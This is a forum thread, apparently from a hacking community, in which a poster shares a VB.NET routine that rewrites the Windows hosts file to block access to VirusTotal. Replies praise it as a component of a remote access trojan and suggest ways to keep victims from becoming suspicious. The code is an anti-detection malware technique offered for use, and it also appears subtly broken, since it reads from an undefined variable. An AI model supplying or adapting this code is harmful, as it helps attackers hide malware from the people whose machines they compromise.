[Samuell]

Bored out of my mind, decided to throw this together for my friend. This specific example blocks the user from accessing VirusTotal by editing his/her hosts file. Please do note that in order for these changes to take effect you'll need to restart your computer. (Or at the the very least your internet connection).

Source Code:

Code

Sub WebsiteBlocker()
        Dim hostrape As String
        Dim TheThingThatReadsShit As New StreamReader("C:/windows/system32/drivers/etc/hosts")
        hostrape = fs.ReadToEnd()
        TheThingThatReadsShit.Dispose()
        TheThingThatReadsShit.Close()

        Dim Meltwriter As New StreamWriter("C:/windows/system32/drivers/etc/hosts")
        Meltwriter.WriteLine(hostrape)
        Meltwriter.WriteLine("127.0.0.1                        www.virustotal.com")
        Meltwriter.WriteLine("127.0.0.1                        virustotal.com")
        Meltwriter.Flush()
        Meltwriter.Close()
        Exit Sub
    End Sub

Usage:

Code

Call WebsiteBlocker()

[Sikandar]

posted many times already
thankz for sharing though

[Samuell]

posted many time already
thankz for sharing though

I know, it's nothing special, my friend just wanted me to repost it lol.

[JIMP]

Very nice post.Thanks for sharing.

[Bitwin]

Isn't the host file instant ?

[Joler1302]

Why dont you code so it doesnt delete the stuff wich in already in the hosts file? Like mine does :D That would be alot better, as the other could make user suspicous.

[newbie223]

been there done that :)

[Xdem0]

Its effect is instant, in internet explorer at least.... as long as all history/dns cache is flushed, it will take effect instantly.

[Pijm0]

Thanks dude worked perfectly for my rat :D

[Samuell]

Old Post is old, but you're welcome lol